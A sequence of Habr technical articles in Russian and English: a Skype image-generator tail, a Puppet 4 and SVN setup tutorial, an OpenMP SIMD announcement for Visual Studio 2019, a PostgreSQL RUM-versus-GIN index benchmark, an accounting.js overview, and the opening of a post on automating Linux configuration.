$cur_clr = imagecolorat( $newimg, $i, $j );
if( isset( $c_arr[$cur_clr] ) )
{
$c_arr[$cur_clr]++;
$found = true;
}
else
{
$c_arr[$cur_clr] = 1;
}
}
}
$max_cnt = 0;
$def_clr = 0; // most popular color
foreach( $c_arr as $key => $val )
{
if( $val > $max_cnt )
{
$max_cnt = $val;
$def_clr = $key;
}
}
```
##### 3. Максимальный размер
Дальше больше, довольно быстро обнаружилось что народу хочется поиграться с размерами и менять константу 800 вот в этой формуле:
```
$newh = floor(sqrt(800 / $ratio));
```
Некоторые картинки можно сделать больше, код для них помещается в скайп если заменить 800 на 1000 или 1200, а некоторые не помещаются даже при 800.
Поэтому следующим шагом делаем эту константу переменной, которую пользователь может выбирать.
Но это полумера, потому что теперь приходится кропотливо возиться с параметрами чтобы сделать максимально возможную по размеру и качеству картинку.
Поэтому делаем сразу генерацию максимально возможной картинки. Методом деления отрезка пополам генерируем код до тех пор пока не получим результат с максимальным значением константы в формуле выше и максимально возможной длиной, помещающейся в сообщение Skype.
Теперь пользователи должны заботиться только о качестве, которое может оценить только глаз человека.
Все остальное мы делаем за них.
#### P.S.
Обнаружив что img4skype.com не развивается (не добавляются даже реализованные идеи с готовым кодом), мы решили создать собственный аналог — [skypeimg.com](http://skypeimg.com). Здесь реализовано все то о чем написано в этой статье.
Все функции «проверены временем» — они работают на нашем сервисе с 20.01.2012.
Вот пару примеров работы нашего генератора (скриншоты из скайпа в масштабе 1:1):
Хотелось бы сказать спасибо [zhovner](http://habrahabr.ru/users/zhovner/) за оригинальную идею, и пожелать в будущем до конца реализовывать простой и сам собой напрашивающийся функционал, чтобы не провоцировать появление конкурентов!
**UPD.** Замечания учтены, сайт обновлен, весь сомнительный контент убран. В галерее больше не показывается то что генерится пользователями, только картинки из альбомов. | https://habr.com/ru/post/137707/ | null | ru | null |
# Базовая установка и настройка Puppet 4 с хранением манифестов в SVN
Доброго времени суток!
Сегодня будем готовить Puppet 4 на Ubuntu Server 16.04 c хранением манифестов в SVN. Так же статье будет рассмотрен пример создания простого собственного модуля для установки и конфигурирования агента сбора логов в [Graylog2](https://www.graylog.org/) через [Graylog Collector Sidecar](http://docs.graylog.org/en/2.3/pages/collector_sidecar.html) и использованием [Filebeat](https://www.elastic.co/products/beats/filebeat) в качестве бэкэнда. Данный пример не претендует на изящное решение, но описывает ключевые аспекты с примером.
Исходная машина для Puppet Server — VPS Ubuntu 16.04 — 4Gb Memory, 2 CPU cores.
Поехали:
**Важно — сервер и управляемая нода должны быть доступны друг другу по имени! Если не используем DNS — необходимо прописать хосты в /etc/hosts:**
в нашем примере на сервере:
`172.16.248.189 ubuntu`
на ноде:
`172.16.248.34 puppet`
Обновим систему на сервере:
`apt-get update
apt-get upgrade
apt-get install mc #пригодится`
Добавим официальный репозиторий Puppet:
`cd /opt
curl -O https://apt.puppetlabs.com/puppetlabs-release-pc1-xenial.deb
sudo dpkg -i puppetlabs-release-pc1-xenial.deb
sudo apt-get update`
Установим пакет:
`sudo apt-get install puppetserver`
Настроим распределение памяти для Puppet Server (по дефолту Puppet использует 2Gb):
`sudo mcedit /etc/default/puppetserver
JAVA_ARGS="-Xms3g -Xmx3g -XX:MaxPermSize=256m"`
Запустим сервер:
`sudo systemctl start puppetserver`
Убедимся что все ок:
`sudo systemctl status puppetserver`
Добавим сервер в автозапуск:
`sudo systemctl enable puppetserver`
Поздравляю! На этом установка и базовая настройка сервера закончена!
**Установка агента puppet на управляемую ноду:**
Добавим официальный репозиторий Puppet:
`cd /opt
curl -O https://apt.puppetlabs.com/puppetlabs-release-pc1-xenial.deb
sudo dpkg -i puppetlabs-release-pc1-xenial.deb
sudo apt-get update`
Установим пакет:
`sudo apt-get install puppet-agent`
Запускаем и добавляем в автозапуск:
`sudo systemctl start puppet
sudo systemctl enable puppet`
Если все прошло успешно, мы увидим на сервере запрос на подпись сертификата от ноды, посмотреть список сертификатов на сервере:
`sudo /opt/puppetlabs/bin/puppet cert list --all`
Подписать сертификат для ноды с hosname ubuntu:
`sudo /opt/puppetlabs/bin/puppet cert sign ubuntu`
В итоге должно получиться что-то вроде:
`root@puppet:/var/log# sudo /opt/puppetlabs/bin/puppet cert list --all
+ "puppet.my-domain.org" (SHA256) A4:A8:4E:B0:81:7F:A0:84:F3:03:03:F0:DE:81:E8:73:A9:01:7A:90:F6:A2:27:0D:62:18:F9:D9:7B:F0:F0:9F (alt names: "DNS:puppet", "DNS:puppet.my-domain.org")
+ "ubuntu" (SHA256) 79:37:37:3F:D5:5C:C1:D3:FF:8D:BC:14:82:11:CE:9F:A6:4C:1C:90:3C:A6:A8:7D:E0:D8:81:D8:D7:D8:43:05`
Протестируем нашу инсталляцию — для примера создадим дефолтный манифест puppet, путь по умолчанию:
`sudo nano /etc/puppetlabs/code/environments/production/manifests/site.pp`
`file {'/tmp/it_works.txt':
ensure => present,
mode => '0644',
content => "It works on ${ipaddress_eth0}!\n",
}`
На управляемой ноде «дернем» агент — заставив его обратиться за изменениями конфигурации на сервер:
`sudo /opt/puppetlabs/bin/puppet agent --test`
Результато выполнения данного манифеста должно быть создание файла «it\_works.txt» на ноде в
/tmp/:
`cat /tmp/it_works.txt
It works on 172.16.248.189!`
Поздравляю! У Вас получилось применить первый манифест Puppet к управляемой ноде!
Далее для ускорения отладки и тестов изменим на ноде интервал обращения агента к серверу (интервал задается в секундах):
`nano /etc/puppetlabs/puppet/puppet.conf
runinterval = 180`
Теперь попробуем создать и применить к ноде свой первый собственный модуль в окружении для нод по умолчанию — pdoruction (велосипед) для установки и настройки пакетов необходимых для сборки логов с ноды в Graylog (Graylog Collector Sidecar + Filebeat), на сервере подготовим директории модуля:
`mkdir /etc/puppetlabs/code/environments/production/collector_sidecar/modtest
mkdir /etc/puppetlabs/code/environments/production/modules/collector_sidecar/manifests
mkdir /etc/puppetlabs/code/environments/production/modules/collector_sidecar/files
chmod 777 /etc/puppetlabs/code/environments/production/modules/collector_sidecar/files
cd mkdir /etc/puppetlabs/code/environments/production/modules/collector_sidecar/manifests`
В каталог /etc/puppetlabs/code/environments/production/modules/collector\_sidecar/files загружаем необходимые пакеты для установки:
collector-sidecar\_0.1.4-1\_amd64.deb
filebeat-5.6.4-amd64.deb
и необходимые конфиги в нашем случаем это файл:
collector\_sidecar.yml
Создаем и редактируем манифест по умолчанию:
`touch init.pp
nano init.pp
class collector_sidecar {
#скачаем файл пакета collector-sidecar на ноду в /opt с puppet сервера
file { '/opt/collector-sidecar_0.1.4-1_amd64.deb':
ensure => present,
mode => '0644',
source => 'puppet:///modules/collector_sidecar/collector-sidecar_0.1.4-1_amd64.deb',
}
#скачаем файл пакета filebeat на ноду в /opt с puppet сервера
file { '/opt/filebeat-5.6.4-amd64.deb':
ensure => present,
mode => '0644',
source => 'puppet:///modules/collector_sidecar/filebeat-5.6.4-amd64.deb',
}
#установим пакет collector-sidecar
package { 'collector-sidecar':
provider => dpkg,
ensure => installed,
source => '/opt/collector-sidecar_0.1.4-1_amd64.deb',
}
#скачаем конфиг - collector_sidecar.yml на ноду в etc/graylog/collector-sidecar/
file { '/etc/graylog/collector-sidecar/collector_sidecar.yml':
mode => '0644',
source => 'puppet:///modules/collector_sidecar/collector_sidecar.yml',
require => Package['collector-sidecar'] #зависимость, директива выполнится, только если в системе установлен пакет - collector-sidecar
}
#установим filebeat
package { 'filebeat':
provider => dpkg,
ensure => installed,
source => '/opt/filebeat-5.6.4-amd64.deb',
require => Package['collector-sidecar']
}
#добавим в сервисы graylog-collector-sidecar
exec { 'install_gcs_service':
command => '/usr/bin/graylog-collector-sidecar -service install',
creates => '/etc/systemd/system/collector-sidecar.service',
require => Package['collector-sidecar']
}
#запустим сервис collector-sidecar
service { 'collector-sidecar':
ensure => running,
enable => true,
require => Package['collector-sidecar']
}
#запустим сервис filebeat
service { 'filebeat':
ensure => running,
enable => true,
require => Package['filebeat']
}
}`
Важно понимать философию работы Puppet — в манифестах описывается «состояние конфигурации» системы, к которому ее нужно привести.
Теперь можем «повешать» наш модуль в манифест выполняемый по умолчанию:
`nano /etc/puppetlabs/code/environments/production/manifests/site.pp
# для теста манифестов локально
node 'default' {
include 'collector_sidecar'
}
node 'ubuntu' {
include 'collector_sidecar'
}`
Произвести dry-run манифеста на сервере локально — будет эмулирован запуск, но фактических действий произведено не будет:
`/opt/puppetlabs/bin/puppet apply --noop /etc/puppetlabs/code/environments/production/manifests/site.pp`
Так же удобно для отладки смотреть лог на Puppet сервере:
`tail -f puppetserver.log`
На ноде puppet-agent пишет лог в syslog:
`tail -f /var/log/syslog`
**Хранение манифестов в svn**
Имеем Subversion сервер, на сервере подготовим репозиторий для хранения манифестов:
создание репозитория:
`sudo svnadmin create /media/datadrive/svn/puppet`
Скопируем манифесты с сервера puppet на сервер с svn:
`scp -r administrator@puppet.my-domainorg/etc/puppetlabs/code/ /home/administrator/code/`
Импортируем манифесты в созданный репозиторий:
`svn import /home/administrator/code/ svn://svn.my-domain.org/puppet -m 'init'`
Делаем chek-out репозитория в папку манифестов Pupppet на Puppet сервере:
если еще не стоит клиент svn:
`apt install subversion
svn co svn://svn.my-domain.org/puppet /etc/puppetlabs/code --username=puppet`
Теперь создаем рабочую копию репозитория у себя на рабочей машине и пробуем внести изменения в манифест, делаем commit, проверяем на Puppet сервере:
`svn up /etc/puppetlabs/code/`
Если все ОК — добавляем в cron update рабочей копии каждое n-е количество времени. Или же можем сделать пост-коммит хук. | https://habr.com/ru/post/342020/ | null | ru | null |
# SIMD Extension to C++ OpenMP in Visual Studio
In the era of ubiquitous AI applications there is an emerging demand of the compiler accelerating computation-intensive machine-learning code for existing hardware. Such code usually does mathematical computation like matrix transformation and manipulation and it is usually in the form of loops. The SIMD extension of OpenMP provides users an effortless way to speed up loops by explicitly leveraging the vector unit of modern processors. We are proud to start offering C/C++ OpenMP SIMD vectorization in Visual Studio 2019.
The OpenMP C/C++ application program interface was originally designed to improve application performance by enabling code to be effectively executed in parallel on multiple processors in the 1990s. Over the years the OpenMP standard has been expanded to support additional concepts such as task-based parallelization, SIMD vectorization, and processor offloading. Since 2005, Visual Studio has supported the OpenMP 2.0 standard which focuses on multithreaded parallelization. As the world is moving into an AI era, we see a growing opportunity to improve code quality by expanding support of the OpenMP standard in Visual Studio. We continue our journey in Visual Studio 2019 by adding support for OpenMP SIMD.
OpenMP SIMD, first introduced in the OpenMP 4.0 standard, mainly targets loop vectorization. It is so far the most widely used OpenMP feature in machine learning according to our research. By annotating a loop with an OpenMP SIMD directive, the compiler can ignore vector dependencies and vectorize the loop as much as possible. The compiler respects users’ intention to have multiple loop iterations executed simultaneously.
```
#pragma omp simd
for (i = 0; i < count; i++)
{
a[i] = b[i] + 1;
}
```
As you may know, C++ in Visual Studio already provides similar non-OpenMP loop pragmas like **#pragma vector** and **#pragma ivdep**. However, the compiler can do more with OpenMP SIMD. For example:
1. The compiler is always allowed to ignore any vector dependencies that are present.
2. /fp:fast is enabled within the loop.
3. Loops with function calls are vectorizable.
4. Outer loops are vectorizable.
5. Nested loops can be coalesced into one loop and vectorized.
6. Hybrid acceleration is achievable with **#pragma omp for simd** to enable coarse-grained multithreading and fine-grained vectorization.
In addition, the OpenMP SIMD directive can take the following clauses to further enhance the vectorization:
* **simdlen(***length***) :**specify the number of vector lanes
* **safelen(***length***) :**specify the vector dependency distance
* **linear(***list[***:***linear-step]***) :**the linear mapping from loop induction variable to array subscription
* **aligned(***list[***:***alignment]***):**the alignment of data
* **private(***list***) :**specify data privatization
* **lastprivate(***list***) :**specify data privatization with final value from the last iteration
* **reduction(***reduction-identifier***:***list***) :**specify customized reduction operations
* **collapse(***n***) :**coalescing loop nest
### New *-openmp:experimental* switch
An OpenMP-SIMD-annotated program can be compiled with a new CL switch**-openmp:experimental.**This new switch enables additional OpenMP features not available under **-openmp**. While the name of this switch is “experimental”, the switch itself, and the functionality it enables is fully supported and production-ready. The name reflects that it doesn’t enable any complete subset or version of an OpenMP standard. Future iterations of the compiler may use this switch to enable additional OpenMP features and new OpenMP-related switches may be added. The **-openmp:experimental**switch subsumes the **-openmp**switch which means it is compatible with all OpenMP 2.0 features. Note that the SIMD directive and its clauses cannot be compiled with the **-openmp**switch.
For loops that are not vectorized, the compiler will issue a message for each of them like below. For example,
cl -O2 -openmp:experimental mycode.cpp
mycode.cpp(84): info C5002: Omp simd loop not vectorized due to reason ‘1200’
mycode.cpp(90): info C5002: Omp simd loop not vectorized due to reason ‘1200’
For loops that are vectorized, the compiler keeps silent unless a vectorization logging switch is provided:
cl -O2 -openmp:experimental -Qvec-report:2 mycode.cpp
mycode.cpp(84): info C5002: Omp simd loop not vectorized due to reason ‘1200’
mycode.cpp(90): info C5002: Omp simd loop not vectorized due to reason ‘1200’
mycode.cpp(96): info C5001: Omp simd loop vectorized
As the first step of supporting OpenMP SIMD we have basically hooked up the SIMD pragma with the backend vectorizer under the new switch. We focused on vectorizing innermost loops by improving the vectorizer and alias analysis. None of the SIMD clauses are effective in Visual Studio 2019 at the time of this writing. They will be parsed but ignored by the compiler with a warning issued for user’s awareness. For example, the compiler will issue
warning C4849: OpenMP ‘simdlen’ clause ignored in ‘simd’ directive
for the following code:
```
#pragma omp simd simdlen(8)
for (i = 1; i < count; i++)
{
a[i] = a[i-1] + 1;
b[i] = *c + 1;
bar(i);
}
```
### More about the semantics of OpenMP SIMD directive
The OpenMP SIMD directive provides users a way to dictate the compiler to vectorize a loop. The compiler is allowed to ignore the apparent legality of such vectorization by accepting users’ promise of correctness. It is users’ responsibility when unexpected behavior happens with the vectorization. By annotating a loop with the OpenMP SIMD directive, users intend to have multiple loop iterations executed simultaneously. This gives the compiler a lot of freedom to generate machine code that takes advantage of SIMD or vector resources on the target processor. While the compiler is not responsible for exploring the correctness and profit of such user-specified parallelism, it **must** still ensure the sequential behavior of a single loop iteration.
For example, the following loop is annotated with the OpenMP SIMD directive. There is no perfect parallelism among loop iterations since there is a backward dependency from a[i] to a[i-1]. But because of the SIMD directive the compiler is still allowed to pack consecutive iterations of the first statement into one vector instruction and run them in parallel.
```
#pragma omp simd
for (i = 1; i < count; i++)
{
a[i] = a[i-1] + 1;
b[i] = *c + 1;
bar(i);
}
```
Therefore, the following transformed vector form of the loop is **legal** because the compiler keeps the sequential behavior of each original loop iteration. In other words, a[i] is executed after a[-1], b[i] is after a[i] and the call to bar happens at last.
```
#pragma omp simd
for (i = 1; i < count; i+=4)
{
a[i:i+3] = a[i-1:i+2] + 1;
b[i:i+3] = *c + 1;
bar(i);
bar(i+1);
bar(i+2);
bar(i+3);
}
```
It is illegal to move the memory reference *\*c* out of the loop if it may alias with *a[i]* or *b[i]*. It’s also illegal to reorder the statements inside one original iteration if it breaks the sequential dependency. As an example, the following transformed loop is **not**legal.
```
c = b;
t = *c;
#pragma omp simd
for (i = 1; i < count; i+=4)
{
a[i:i+3] = a[i-1:i+2] + 1;
bar(i); // illegal to reorder if bar[i] depends on b[i]
b[i:i+3] = t + 1; // illegal to move *c out of the loop
bar(i+1);
bar(i+2);
bar(i+3);
}
```
### Future Plans and Feedback
We encourage you to try out this new feature. As always, we welcome your feedback. If you see an OpenMP SIMD loop that you expect to be vectorized, but isn’t or the generated code is not optimal, please let us know. We can be reached via the comments below, via email ([visualcpp@microsoft.com](mailto:visualcpp@microsoft.com)), twitter (@visualc), or via [Developer Community](https://developercommunity.visualstudio.com/).
Moving forward, we’d love to hear your need of OpenMP functionalities missing in Visual Studio. As there have been several major evolutions in OpenMP since the 2.0 standard, OpenMP now has tremendous features to ease your effort to build high-performance programs. For instance, task-based concurrency programming is available starting from OpenMP 3.0. Heterogenous computing (CPU + accelerators) is supported in OpenMP 4.0. Advanced SIMD vectorization and DOACROSS loop parallelization support are also available in the latest OpenMP standard now. Please check out the complete standard revisions and feature sets from the OpenMP official website: [https://www.openmp.org](https://www.openmp.org/). We sincerely ask for your thoughts on the specific OpenMP features you would like to see. We’re also interested in hearing about how you’re using OpenMP to accelerate your code. Your feedback is critical that it will help drive the direction of OpenMP support in Visual Studio.
##### [Hongtao Yu](https://devblogs.microsoft.com/cppblog/author/hoymicrosoft-com/) | https://habr.com/ru/post/446688/ | null | en | null |
# Готовим полнотекстовый поиск в Postgres. Часть 2
В [прошлой статье](https://habr.com/ru/post/442170/) мы оптимизировали поиск в PostgreSQL стандартными средствами. В этой статье мы продолжим оптимизацию с помощью [индекса RUM](https://github.com/postgrespro/rum) и проанализируем его плюсы и минусы в сравнении с GIN.
Введение
--------
RUM — это extension для Postgres, новый индекс для полнотекстового поиска. Он позволяет возвращать при проходе по индексу отсортированные по релевантности результаты. На его установке я не буду сосредотачиваться — она описана в [README](https://github.com/postgrespro/rum/blob/master/README.md) в репозитории.
Пользуемся индексом
-------------------
Создается индекс аналогично индексу GIN, но с некоторыми параметрами. Весь список параметров можно найти в документации.
```
CREATE INDEX idx_rum_document
ON documents_documentvector
USING rum ("text" rum_tsvector_ops);
```
Поисковый запрос для RUM:
```
SELECT document_id, "text" <=> plainto_tsquery('запрос') AS rank
FROM documents_documentvector
WHERE "text" @@ plainto_tsquery('запрос')
ORDER BY rank;
```
**Запрос для GIN**
```
SELECT document_id, ts_rank("text", plainto_tsquery('запрос')) AS rank
FROM documents_documentvector
WHERE "text" @@ plainto_tsquery('запрос')
ORDER BY rank DESC;
```
Отличие от GIN в том, что релевантность получается не с помощью функции ts\_rank, а с помощью запроса c оператором `<=>`: `"text" <=> plainto_tsquery('запрос')`. Такой запрос возвращает некоторую *дистанцию* между поисковым вектором и поисковым запросом. Чем она меньше, тем лучше запрос соответствует вектору.
Сравнение с GIN
---------------
Здесь мы будем сравнивать на тестовой базе с ~500 тысячами документов, чтобы заметить отличия в результатах поиска.
### Скорость выполнения запросов
Посмотрим, что выдаст на этой базе EXPLAIN для GIN:
```
Gather Merge (actual time=563.840..611.844 rows=119553 loops=1)
Workers Planned: 2
Workers Launched: 2
-> Sort (actual time=553.427..557.857 rows=39851 loops=3)
Sort Key: (ts_rank(text, plainto_tsquery('запрос'::text)))
Sort Method: external sort Disk: 1248kB
-> Parallel Bitmap Heap Scan on documents_documentvector (actual time=13.402..538.879 rows=39851 loops=3)
Recheck Cond: (text @@ plainto_tsquery('запрос'::text))
Heap Blocks: exact=5616
-> Bitmap Index Scan on idx_gin_document (actual time=12.144..12.144 rows=119553 loops=1)
Index Cond: (text @@ plainto_tsquery('запрос'::text))
Planning time: 4.573 ms
Execution time: 617.534 ms
```
А для RUM?
```
Sort (actual time=1668.573..1676.168 rows=119553 loops=1)
Sort Key: ((text <=> plainto_tsquery('запрос'::text)))
Sort Method: external merge Disk: 3520kB
-> Bitmap Heap Scan on documents_documentvector (actual time=16.706..1605.382 rows=119553 loops=1)
Recheck Cond: (text @@ plainto_tsquery('запрос'::text))
Heap Blocks: exact=15599
-> Bitmap Index Scan on idx_rum_document (actual time=14.548..14.548 rows=119553 loops=1)
Index Cond: (text @@ plainto_tsquery('запрос'::text))
Planning time: 0.650 ms
Execution time: 1679.315 ms
```
Что же это такое? Какой толк в этом хваленом RUM, спросите вы, если он работает в *три раза* медленнее, чем GIN? И где пресловутая сортировка внутри индекса?
Спокойно: попробуем добавить в запрос `LIMIT 1000`.
**EXPLAIN для RUM**
```
Limit (actual time=115.568..137.313 rows=1000 loops=1)
-> Index Scan using idx_rum_document on documents_documentvector (actual time=115.567..137.239 rows=1000 loops=1)
Index Cond: (text @@ plainto_tsquery('запрос'::text))
Order By: (text <=> plainto_tsquery('запрос'::text))
Planning time: 0.481 ms
Execution time: 137.678 ms
```
**EXPLAIN для GIN**
```
Limit (actual time=579.905..585.650 rows=1000 loops=1)
-> Gather Merge (actual time=579.904..585.604 rows=1000 loops=1)
Workers Planned: 2
Workers Launched: 2
-> Sort (actual time=574.061..574.171 rows=992 loops=3)
Sort Key: (ts_rank(text, plainto_tsquery('запрос'::text))) DESC
Sort Method: external merge Disk: 1224kB
-> Parallel Bitmap Heap Scan on documents_documentvector (actual time=8.920..555.571 rows=39851 loops=3)
Recheck Cond: (text @@ plainto_tsquery('запрос'::text))
Heap Blocks: exact=5422
-> Bitmap Index Scan on idx_gin_document (actual time=8.945..8.945 rows=119553 loops=1)
Index Cond: (text @@ plainto_tsquery('запрос'::text))
Planning time: 0.223 ms
Execution time: 585.948 ms
```
~150 мс против ~600 мс! Уже не в пользу GIN, верно? И сортировка переместилась внутрь индекса!
А если посмотреть для `LIMIT 100`?
**EXPLAIN для RUM**
```
Limit (actual time=105.863..108.530 rows=100 loops=1)
-> Index Scan using idx_rum_document on documents_documentvector (actual time=105.862..108.517 rows=100 loops=1)
Index Cond: (text @@ plainto_tsquery('запрос'::text))
Order By: (text <=> plainto_tsquery('запрос'::text))
Planning time: 0.199 ms
Execution time: 108.958 ms
```
**EXPLAIN для GIN**
```
Limit (actual time=582.924..588.351 rows=100 loops=1)
-> Gather Merge (actual time=582.923..588.344 rows=100 loops=1)
Workers Planned: 2
Workers Launched: 2
-> Sort (actual time=573.809..573.889 rows=806 loops=3)
Sort Key: (ts_rank(text, plainto_tsquery('запрос'::text))) DESC
Sort Method: external merge Disk: 1224kB
-> Parallel Bitmap Heap Scan on documents_documentvector (actual time=18.038..552.827 rows=39851 loops=3)
Recheck Cond: (text @@ plainto_tsquery('запрос'::text))
Heap Blocks: exact=5275
-> Bitmap Index Scan on idx_gin_document (actual time=16.541..16.541 rows=119553 loops=1)
Index Cond: (text @@ plainto_tsquery('запрос'::text))
Planning time: 0.487 ms
Execution time: 588.583 ms
```
Разница ещё немного заметнее.
Всё дело в том, что GIN без разницы, сколько именно строк вы получаете в итоге — он должен пройтись по всем строкам, для которых запрос выполнился успешно, и проранжировать их. RUM же делает это только для тех строк, которые нам действительно нужны. Если нам нужно очень много строк, GIN выигрывает. Его `ts_rank` эффективнее производит вычисления, чем оператор `<=>`. Но на маленьких запросах преимущество RUM неоспоримо.
Чаще всего пользователю и не нужно выгружать сразу все 50 тысяч документов из базы. Ему нужно только 10 постов на первой, второй, третьей странице etc. И именно под такие случаи заточен данный индекс, и он даст неплохой прирост производительности поиска на большой базе.
### Терпимость к join-ам
Что, если в поиске требуется сделать join ещё одной или нескольких таблиц? Например, вывести в результатах вид документа, его владельца? Или, как в моем случае, отфильтровать по названиям связанных сущностей?
Сравним:
**Запрос с двумя join для GIN**
```
SELECT document_id, ts_rank("text", plainto_tsquery('запрос')) AS rank, case_number
FROM documents_documentvector
RIGHT JOIN documents_document ON documents_documentvector.document_id = documents_document.id
LEFT JOIN documents_case ON documents_document.case_id = documents_case.id
WHERE "text" @@ plainto_tsquery('запрос')
ORDER BY rank DESC
LIMIT 10;
```
Результат:
```
Limit (actual time=1637.902..1643.483 rows=10 loops=1)
-> Gather Merge (actual time=1637.901..1643.479 rows=10 loops=1)
Workers Planned: 2
Workers Launched: 2
-> Sort (actual time=1070.614..1070.687 rows=652 loops=3)
Sort Key: (ts_rank(documents_documentvector.text, plainto_tsquery('запрос'::text))) DESC
Sort Method: external merge Disk: 2968kB
-> Hash Left Join (actual time=323.386..1049.092 rows=39851 loops=3)
Hash Cond: (documents_document.case_id = documents_case.id)
-> Hash Join (actual time=239.312..324.797 rows=39851 loops=3)
Hash Cond: (documents_documentvector.document_id = documents_document.id)
-> Parallel Bitmap Heap Scan on documents_documentvector (actual time=11.022..37.073 rows=39851 loops=3)
Recheck Cond: (text @@ plainto_tsquery('запрос'::text))
Heap Blocks: exact=9362
-> Bitmap Index Scan on idx_gin_document (actual time=12.094..12.094 rows=119553 loops=1)
Index Cond: (text @@ plainto_tsquery('запрос'::text))
-> Hash (actual time=227.856..227.856 rows=472089 loops=3)
Buckets: 65536 Batches: 16 Memory Usage: 2264kB
-> Seq Scan on documents_document (actual time=0.009..147.104 rows=472089 loops=3)
-> Hash (actual time=83.338..83.338 rows=273695 loops=3)
Buckets: 65536 Batches: 8 Memory Usage: 2602kB
-> Seq Scan on documents_case (actual time=0.009..39.082 rows=273695 loops=3)
Planning time: 0.857 ms
Execution time: 1644.028 ms
```
На трех join-ах и больше время запроса достигает 2-3 секунд и растет с количеством join-ов.
А что же для RUM? Пусть запрос сразу будет с пятью join.
**Запрос с пятью join для RUM**
```
SELECT document_id, "text" <=> plainto_tsquery('запрос') AS rank, case_number,
classifier_procedure.title, classifier_division.title, classifier_category.title
FROM documents_documentvector
RIGHT JOIN documents_document ON documents_documentvector.document_id = documents_document.id
LEFT JOIN documents_case ON documents_document.case_id = documents_case.id
LEFT JOIN classifier_procedure ON documents_case.procedure_id = classifier_procedure.id
LEFT JOIN classifier_division ON documents_case.division_id = classifier_division.id
LEFT JOIN classifier_category ON documents_document.category_id = classifier_category.id
WHERE "text" @@ plainto_tsquery('запрос') AND documents_document.is_active IS TRUE
ORDER BY rank
LIMIT 10;
```
Результат:
```
Limit (actual time=70.524..72.292 rows=10 loops=1)
-> Nested Loop Left Join (actual time=70.521..72.279 rows=10 loops=1)
-> Nested Loop Left Join (actual time=70.104..70.406 rows=10 loops=1)
-> Nested Loop Left Join (actual time=70.089..70.351 rows=10 loops=1)
-> Nested Loop Left Join (actual time=70.073..70.302 rows=10 loops=1)
-> Nested Loop (actual time=70.052..70.201 rows=10 loops=1)
-> Index Scan using document_vector_rum_index on documents_documentvector (actual time=70.001..70.035 rows=10 loops=1)
Index Cond: (text @@ plainto_tsquery('запрос'::text))
Order By: (text <=> plainto_tsquery('запрос'::text))
-> Index Scan using documents_document_pkey on documents_document (actual time=0.013..0.013 rows=1 loops=10)
Index Cond: (id = documents_documentvector.document_id)
Filter: (is_active IS TRUE)
-> Index Scan using documents_case_pkey on documents_case (actual time=0.009..0.009 rows=1 loops=10)
Index Cond: (documents_document.case_id = id)
-> Index Scan using classifier_procedure_pkey on classifier_procedure (actual time=0.003..0.003 rows=1 loops=10)
Index Cond: (documents_case.procedure_id = id)
-> Index Scan using classifier_division_pkey on classifier_division (actual time=0.004..0.004 rows=1 loops=10)
Index Cond: (documents_case.division_id = id)
-> Index Scan using classifier_category_pkey on classifier_category (actual time=0.003..0.003 rows=1 loops=10)
Index Cond: (documents_document.category_id = id)
Planning time: 2.861 ms
Execution time: 72.865 ms
```
Если вам при поиске не обойтись без join, то RUM вам явно подходит.
### Место на диске
На тестовой базе в ~500 тысяч документов и 3,6 Гб индексы занимали *очень* разные объемы.
```
idx_rum_document | 1950 MB
idx_gin_document | 418 MB
```
Да, диск — штука дешевая. Но 2 Гб вместо 400 Мб не могут радовать. Половина размера базы — многовато для индекса. Тут безоговорочно выигрывает GIN.
Выводы
------
Вам нужен RUM, если:
* У вас очень много документов, но вы выдаете поисковые результаты постранично
* Вам нужна сложная фильтрация результатов поиска
* Вам не жалко места на диске
Вас вполне устроит GIN, если:
* У вас маленькая база
* У вас большая база, но выдавать результаты надо сразу и все
* Вам не нужна фильтрация с join-ами
* Вас интересует минимальный размер индекса на диске
Надеюсь, эта статья снимет множество WTF?!, возникающих при работе и настройке поиска в Postgres. Буду рад послушать советы от тех, кто знает, как всё настроить ещё лучше!)
В следующей частях я планирую рассказать подробнее о RUM в своем проекте: про использование дополнительных опций RUM, работу в связке Django + PostgreSQL. | https://habr.com/ru/post/443368/ | null | ru | null |
# accounting.js — форматирование чисел и валют
В одном из проектов мне понадобилось реализовать переключение валют с последующим реформатированием значений денежных сумм, встречающихся на странице.Как это у меня часто получается, я это реализовал и через пару недель наткнулся на небольшую библиотечку, которая позволяет довольно удобно выполнить именно эту операцию.
Называется она [accounting.js](http://josscrowcroft.github.com/accounting.js/).
Библиотека может выполнять три действия по форматированию:
* Форматирование числа (formatNumber)
* Форматирование денежного значения со знаком валюты (formatMoney)
* И форматирование денежных значений для отображения их в одну колонку (formatColumn)
По-умолчанию в настройках стоит формат, принятый в Америке: валюта — знак доллара, разделитель целой и дробной части — точка, разделитель тысячных разрядов — запятая.
formatNumber()
--------------
Базовая функция, которой можно передать число или массив чисел и на выходе получить число (или массив) с отделенными тысячними разрядами и дробной частью заданной точности и разделителем дробной части — запятой.
Настройки по-умолчанию:
> `accounting.formatNumber(5318008); // 5,318,008`
Три знака после запятой, отделение тысяч пробелом, дробная часть отделяется запятой:
> `accounting.formatNumber(9876543.21, 3, " ", ","); // 9 876 543,210`
formatMoney()
-------------
Форматирует номера в виде денежных сумм. Кроме разделителей тысяч, точности и разделителя дробной части еще устанавливает знак валюты в соответствии с шаблоном.
По-умолчанию:
> `accounting.formatMoney(12345678); // $12,345,678.00`
Знак валюты — RUR, точность — два знака, тысячи — пробел, дробные — запятая, обозначение валюты после числа через пробел:
> `accounting.formatMoney(4999.99, "RUR", 2, " ", ",", "%v %s"); //4 999,99 RUR`
formatColumn()
--------------
Функции передается массив чисел и она изменяет этот массив, дополняя числа пробелами исходя из того, сколько знаков в максимальном числе и ставит знак валюты либо до дополненного числа, либо после, в соответствии с шаблоном. Нужно это чтобы красиво отображать суммы в таблице.
> `accounting.formatColumn([123, 12345], "$ ", 0); // ["$ 123", "$ 12,345"]`
Можно попробовать различные комбинации опций в действии [в небольшом тесте на jsFiddle](http://jsfiddle.net/barba/tsL6B/), либо на странице самой библиотеки. | https://habr.com/ru/post/131340/ | null | ru | null |
# Настраиваем любой Linux под себя одной командой
Иногда приходится настраивать различные \*unix системы: персональные компьютеры, VPS, Raspberry Pi и так далее. Но когда их становится много, настраивать их становится всё сложнее и сложнее. Поэтому хочется автоматизировать этот процесс. В данной статье я расскажу, как я решил подобную проблему, расскажу про некоторые существующие решения, а также покажу магию bash!
Проблема
--------
Приведём несколько часто встречающихся случаев, когда надо настроить linux под себя, то есть установить пакеты различными способами, настроить их (с помощью команд или изменяя конфиги).
